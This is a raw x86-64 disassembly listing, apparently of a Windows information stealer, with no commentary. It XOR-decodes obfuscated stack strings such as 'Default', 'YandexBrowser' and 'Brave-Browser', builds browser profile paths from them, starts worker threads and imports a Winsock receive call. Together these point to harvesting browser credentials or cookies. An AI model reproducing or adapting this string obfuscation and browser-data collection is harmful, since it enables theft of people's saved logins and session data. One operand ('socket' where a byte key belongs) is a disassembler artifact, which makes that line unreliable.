mov word [rbp + 0xe0], 0x7366
xor byte [rbp + rax + 0xd9], cl
inc rax
cmp rax, 9
jae 0x140027300
mov cl, byte [rbp + 0xd8]
jmp 0x1400272e8
lea rax, [rbp + 0xd9]
mov byte [rbp + 0xe2], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x458]
call fcn.140003550
movdqa xmm0, xmmword [0x140082530]
mov rcx, rbx
movdqu xmmword [rbp + 0x1a8], xmm0
mov dword [rbp + 0x1b8], 0x392f2b33
mov word [rbp + 0x1bc], 0x2e
mov al, byte [rbp + 0x1a8]
xor byte [rbp + rcx + 0x1a9], al
inc rcx
cmp rcx, 0x14
jb 0x14002734c
lea rax, [rbp + 0x1a9]
mov byte [rbp + 0x1bd], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x438]
call fcn.140003550
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x958]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x458]
lea rcx, [rbp + 0xcc0]
call fcn.140012848
xor eax, eax
mov dword [rbp - 8], 0x63604105
mov byte [rbp], al
mov cl, 5
mov dil, 0x64
mov dword [rbp - 4], 0x71697064
xor byte [rbp + rax - 7], cl
inc rax
cmp rax, 7
jae 0x1400273e2
mov cl, byte [rbp - 8]
jmp 0x1400273d0
lea rax, [rbp - 7]
mov byte [rbp], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x418]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xe8], 0x35230550
mov byte [rbp + 0xf2], al
mov dword [rbp + 0xec], 0x31147022
mov word [rbp + 0xf0], 0x3124
xor byte [rbp + rax + 0xe9], r15b
mov r15d, 1
add rax, r15
cmp rax, 9
jae 0x140027447
mov r15b, byte [rbp + 0xe8]
jmp 0x140027427
lea rax, [rbp + 0xe9]
mov byte [rbp + 0xf2], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3f8]
call fcn.140003550
mov cl, 0x3f
mov dword [rsp + 0x78], 0x585b7a3f
mov rax, rbx
mov word [rsp + 0x7c], 0x5a
xor byte [rsp + rax + 0x79], cl
add rax, r15
cmp rax, 4
jae 0x140027494
mov cl, byte [rsp + 0x78]
jmp 0x140027481
lea rax, [rsp + 0x79]
mov byte [rsp + 0x7d], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xf8], 0x1e14307d
mov byte [rbp + 0x102], al
mov dword [rbp + 0xfc], 0x120e120f
mov word [rbp + 0x100], 0x91b
xor byte [rbp + rax + 0xf9], r13b
add rax, r15
cmp rax, 9
jae 0x1400274f5
mov r13b, byte [rbp + 0xf8]
jmp 0x1400274db
xor r13d, r13d
lea rax, [rbp + 0xf9]
mov r8b, r13b
mov byte [rbp + 0x102], r13b
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0x3b8]
call fcn.140003550
lea r8, [rbp + 0x3b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x938]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x3d8]
lea rcx, [rbp + 0x918]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x3f8]
lea rcx, [rbp + 0x8f8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x418]
lea rcx, [rbp + 0xce0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 8], 0x46456420
mov byte [rbp + 0x10], al
mov cl, 0x20
mov dword [rbp + 0xc], 0x544c5541
mov bl, 0x54
xor byte [rbp + rax + 9], cl
add rax, r15
cmp rax, 7
jae 0x1400275a4
mov cl, byte [rbp + 8]
jmp 0x140027592
lea rax, [rbp + 9]
mov byte [rbp + 0x10], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x398]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x108], 0x2e381e4b
mov byte [rbp + 0x112], al
mov dword [rbp + 0x10c], 0x2a0f6b39
mov word [rbp + 0x110], 0x2a3f
xor byte [rbp + rax + 0x109], r12b
add rax, r15
cmp rax, 9
jae 0x140027604
mov r12b, byte [rbp + 0x108]
jmp 0x1400275ea
lea rax, [rbp + 0x109]
mov byte [rbp + 0x112], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x378]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x188], 0x77645416
mov byte [rbp + 0x196], al
mov cl, socket
mov dword [rbp + 0x18c], 0x543b7360
mov dword [rbp + 0x190], 0x65617964
mov word [rbp + 0x194], 0x6473
xor byte [rbp + rax + 0x189], cl
add rax, r15
cmp rax, 0xd
jae 0x140027674
mov cl, byte [rbp + 0x188]
jmp 0x14002765c
lea rax, [rbp + 0x189]
mov byte [rbp + 0x196], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x358]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x198], 0x5162664
mov byte [rbp + 0x1a6], al
mov dword [rbp + 0x19c], 0xb370112
mov dword [rbp + 0x1a0], 0x5131002
mov word [rbp + 0x1a4], 0x116
xor byte [rbp + rax + 0x199], dil
add rax, r15
cmp rax, 0xd
jae 0x1400276e4
mov dil, byte [rbp + 0x198]
jmp 0x1400276ca
lea rax, [rbp + 0x199]
mov byte [rbp + 0x1a6], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x338]
call fcn.140003550
lea r8, [rbp + 0x338]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x8d8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x358]
lea rcx, [rbp + 0x8b8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x378]
lea rcx, [rbp + 0x898]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x398]
lea rcx, [rbp + 0xd00]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x70], 0x292a0b4f
mov byte [rbp - 0x68], al
mov dword [rbp - 0x6c], 0x3b233a2e
xor byte [rbp + rax - 0x6f], r14b
add rax, r15
cmp rax, 7
jae 0x14002778e
mov r14b, byte [rbp - 0x70]
jmp 0x14002777a
lea rax, [rbp - 0x6f]
mov byte [rbp - 0x68], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x318]
call fcn.140003550
xor eax, eax
mov dword [rbp - 0x80], 0x392f095c
mov byte [rbp - 0x76], al
mov dword [rbp - 0x7c], 0x3d187c2e
mov word [rbp - 0x78], 0x3d28
xor byte [rbp + rax - 0x7f], sil
add rax, r15
cmp rax, 9
jae 0x1400277dc
mov sil, byte [rbp - 0x80]
jmp 0x1400277c8
lea rax, [rbp - 0x7f]
mov byte [rbp - 0x76], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2f8]
call fcn.140003550
xor eax, eax
mov dword [rbp - 0x50], 0x58576f36
mov byte [rbp - 0x42], al
mov cl, 0x36
mov dword [rbp - 0x4c], 0x744e5352
mov dword [rbp - 0x48], 0x45415944
mov word [rbp - 0x44], 0x4453
xor byte [rbp + rax - 0x4f], cl
add rax, r15
cmp rax, 0xd
jae 0x140027831
mov cl, byte [rbp - 0x50]
jmp 0x14002781f
lea rax, [rbp - 0x4f]
mov byte [rbp - 0x42], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2d8]
call fcn.140003550
mov rax, r13
mov dword [rbp - 0x20], 0x3a350d54
mov dword [rbp - 0x1c], 0x2c3130
xor byte [rbp + rax - 0x1f], bl
add rax, r15
cmp rax, 6
jae 0x140027875
mov bl, byte [rbp - 0x20]
jmp 0x140027863
lea rax, [rbp - 0x1f]
mov byte [rbp - 0x19], r13b
mov r8b, r13b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2b8]
call fcn.140003550
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x878]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x2d8]
lea rcx, [rbp + 0x858]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x2f8]
lea rcx, [rbp + 0x838]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x318]
lea rcx, [rbp + 0xd20]
call fcn.140012848
lea rcx, [rbp + 0x838]
call fcn.14001d628
lea rcx, [rbp + 0x858]
call fcn.14001d628
lea rcx, [rbp + 0x878]
call fcn.14001d628
lea rcx, [rbp + 0x2b8]
call fcn.14001d628
lea rcx, [rbp + 0x2d8]
call fcn.14001d628
lea rcx, [rbp + 0x2f8]
call fcn.14001d628
lea rcx, [rbp + 0x318]
call fcn.14001d628
lea rcx, [rbp + 0x898]
call fcn.14001d628
lea rcx, [rbp + 0x8b8]
call fcn.14001d628
lea rcx, [rbp + 0x8d8]
call fcn.14001d628
lea rcx, [rbp + 0x338]
call fcn.14001d628
lea rcx, [rbp + 0x358]
call fcn.14001d628
lea rcx, [rbp + 0x378]
call fcn.14001d628
lea rcx, [rbp + 0x398]
call fcn.14001d628
lea rcx, [rbp + 0x8f8]
call fcn.14001d628
lea rcx, [rbp + 0x918]
call fcn.14001d628
lea rcx, [rbp + 0x938]
call fcn.14001d628
lea rcx, [rbp + 0x3b8]
call fcn.14001d628
lea rcx, [rbp + 0x3d8]
call fcn.14001d628
lea rcx, [rbp + 0x3f8]
call fcn.14001d628
lea rcx, [rbp + 0x418]
call fcn.14001d628
lea rcx, [rbp + 0x958]
call fcn.14001d628
lea rcx, [rbp + 0x438]
call fcn.14001d628
lea rcx, [rbp + 0x458]
call fcn.14001d628
lea rcx, [rbp + 0x978]
call fcn.14001d628
lea rcx, [rbp + 0x998]
call fcn.14001d628
lea rcx, [rbp + 0x9b8]
call fcn.14001d628
lea rcx, [rbp + 0x478]
call fcn.14001d628
lea rcx, [rbp + 0x498]
call fcn.14001d628
lea rcx, [rbp + 0x4b8]
call fcn.14001d628
lea rcx, [rbp + 0x4d8]
call fcn.14001d628
lea rcx, [rbp + 0x9d8]
call fcn.14001d628
lea rcx, [rbp + 0x9f8]
call fcn.14001d628
lea rcx, [rbp + 0x4f8]
call fcn.14001d628
lea rcx, [rbp + 0x518]
call fcn.14001d628
lea rcx, [rbp + 0x538]
call fcn.14001d628
lea rcx, [rbp + 0xa18]
call fcn.14001d628
lea rcx, [rbp + 0xa38]
call fcn.14001d628
lea rcx, [rbp + 0x558]
call fcn.14001d628
lea rcx, [rbp + 0x578]
call fcn.14001d628
lea rcx, [rbp + 0x598]
call fcn.14001d628
lea rcx, [rbp + 0xa58]
call fcn.14001d628
lea rcx, [rbp + 0xa78]
call fcn.14001d628
lea rcx, [rbp + 0x5b8]
call fcn.14001d628
lea rcx, [rbp + 0x5d8]
call fcn.14001d628
lea rcx, [rbp + 0x5f8]
call fcn.14001d628
lea rcx, [rbp + 0xa98]
call fcn.14001d628
lea rcx, [rbp + 0xab8]
call fcn.14001d628
lea rcx, [rbp + 0x618]
call fcn.14001d628
lea rcx, [rbp + 0x638]
call fcn.14001d628
lea rcx, [rbp + 0x658]
call fcn.14001d628
lea rcx, [rbp + 0xad8]
call fcn.14001d628
lea rcx, [rbp + 0x678]
call fcn.14001d628
lea rcx, [rbp + 0x698]
call fcn.14001d628
lea rcx, [rbp + 0xaf8]
call fcn.14001d628
lea rcx, [rbp + 0x6b8]
call fcn.14001d628
lea rcx, [rbp + 0x6d8]
call fcn.14001d628
lea rcx, [rbp + 0xb18]
call fcn.14001d628
lea rcx, [rbp + 0x6f8]
call fcn.14001d628
lea rcx, [rbp + 0x718]
call fcn.14001d628
lea rcx, [rbp + 0x238]
call fcn.14001d628
lea rcx, [rbp + 0x738]
call fcn.14001d628
lea rcx, [rbp + 0x758]
call fcn.14001d628
lea rcx, [rbp + 0x258]
call fcn.14001d628
lea rcx, [rbp + 0x778]
call fcn.14001d628
lea rcx, [rbp + 0x798]
call fcn.14001d628
lea rcx, [rbp + 0x278]
call fcn.14001d628
lea rcx, [rbp + 0x7b8]
call fcn.14001d628
lea rcx, [rbp + 0x7d8]
call fcn.14001d628
lea rcx, [rbp + 0x298]
call fcn.14001d628
lea rcx, [rbp + 0x7f8]
call fcn.14001d628
lea rcx, [rbp + 0x818]
call fcn.14001d628
xorps xmm0, xmm0
mov qword [rbp + 0x1b8], r13
movdqu xmmword [rbp + 0x1a8], xmm0
mov rbx, qword [rbp + 0x1b0]
lea rdi, [rbp + 0xb40]
mov rsi, r13
mov r12d, 0x20
lea r9, [rsp + 0x30]
mov byte [rsp + 0x30], r13b
mov r8, rdi
lea rdx, [0x140015ae8]
lea rcx, [rsp + 0x78]
call fcn.14000a840
mov r9, qword [rsp + 0x78]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x140006038]
xor edx, edx
mov dword [rsp + 0x20], r13d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x14002813f
mov qword [rsp + 0x78], r13
cmp rbx, rsi
je 0x140027cf1
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
mov qword [rbp + 0x1b0], rbx
jmp 0x140027d12
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005354
mov rsi, qword [rbp + 0x1b8]
mov rbx, qword [rbp + 0x1b0]
cmp dword [rbp - 0x48], r13d
jne 0x1400280df
add rdi, r12
lea rax, [rbp + 0xd40]
cmp rdi, rax
jne 0x140027c7b
lea rdi, [rbp + 0xd40]
lea r9, [rsp + 0x30]
mov byte [rsp + 0x30], r15b
mov r8, rdi
lea rdx, [0x140015ae8]
lea rcx, [rsp + 0x78]
call fcn.14000a840
mov r9, qword [rsp + 0x78]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x140006038]
xor edx, edx
mov dword [rsp + 0x20], r13d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140028130
mov qword [rsp + 0x78], r13
cmp rbx, rsi
je 0x140027dac
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
mov qword [rbp + 0x1b0], rbx
jmp 0x140027dcd
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005354
mov rsi, qword [rbp + 0x1b8]
mov rbx, qword [rbp + 0x1b0]
cmp dword [rbp - 0x48], r13d
jne 0x1400280d8
add rdi, r12
lea rax, [rbp + 0xdc0]
cmp rdi, rax
jne 0x140027d36
mov rdi, qword [rbp + 0x1a8]
jmp 0x140027e37
cmp dword [rdi + 8], r13d
je 0x140028117
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x14002810c
movups xmm0, xmmword [rdi]
xor edx, edx
lea rcx, [rbp + 0x1c0]
movdqu xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028101
xorps xmm0, xmm0
movdqu xmmword [rdi], xmm0
add rdi, 0x10
cmp rdi, rbx
jne 0x140027df3
mov rdi, qword [0x1400a2f38]
xorps xmm1, xmm1
mov r15, qword [0x1400a2f40]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm1
mov rbx, qword [rbp + 0x1d8]
mov r14, r13
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rbp + 0x1e0], r13
jmp 0x140027f3f
mov ecx, 0x28
call fcn.14007a978
mov rsi, rax
test rax, rax
je 0x140027ebd
xorps xmm0, xmm0
mov rdx, rdi
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r13
cmp qword [rdi + 0x18], 0xf
jbe 0x140027ea6
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
call fcn.140002e4c
lea rax, [rsp + 0x50]
mov qword [rsi + 0x20], rax
jmp 0x140027ec0
mov rsi, r13
lea rax, [rbp - 0x48]
mov r9, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140006104]
xor edx, edx
mov dword [rsp + 0x20], r13d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x1400280f2
cmp rbx, r14
je 0x140027f11
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
mov qword [rbp + 0x1d8], rbx
jmp 0x140027f32
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call fcn.140005354
mov r14, qword [rbp + 0x1e0]
mov rbx, qword [rbp + 0x1d8]
cmp dword [rbp - 0x48], r13d
jne 0x140027fd6
add rdi, r12
cmp rdi, r15
jne 0x140027e79
mov r15d, 1
mov ecx, r15d
call fcn.14007a978
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400060d4]
xor ecx, ecx
mov dword [rsp + 0x20], r13d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140028120
cmp dword [rsp + 0x48], r13d
je 0x140028117
call sub.MSVCP140.dll__Thrd_id
cmp dword [rsp + 0x48], eax
je 0x14002810c
movaps xmm0, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x1c0]
xor edx, edx
movdqa xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028101
mov rdi, qword [rbp + 0x1d0]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x140028021
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp dword [rdi + 8], r13d
je 0x140028117
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x14002810c
movups xmm0, xmmword [rdi]
xor edx, edx
lea rcx, [rbp + 0x1c0]
movdqu xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028101
xorps xmm0, xmm0
movdqu xmmword [rdi], xmm0
add rdi, 0x10
cmp rdi, rbx
jne 0x140027fdd
cmp dword [rsp + 0x48], r13d
je 0x140028034
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp + 0x1d0]
call fcn.14001d5a8
lea rcx, [rsp + 0x50]
call fcn.14001d4a0
lea rcx, [rbp + 0x1a8]
call fcn.14001d5a8
lea r9, [fcn.140010e64]
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r12
lea rcx, [rbp + 0xb40]
call fcn.14007a8a8
lea r9, [fcn.140010e64]
mov r8d, 4
mov rdx, r12
lea rcx, [rbp + 0xd40]
call fcn.14007a8a8
lea rcx, [rbp + 0x208]
call fcn.14001d628
lea rcx, [rbp + 0x1e8]
call fcn.14001d628
xor eax, eax
mov rcx, qword [rbp + 0xdc0]
xor rcx, rsp
call fcn.14007ae30
lea r11, [rsp + 0xed0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.14001d098
int3
call fcn.14001d930
int3
mov ecx, 6
mov dword [rbp - 0x48], r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 2
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, r15d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rsp + 0x48], r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp - 0x48], r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp - 0x48], r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3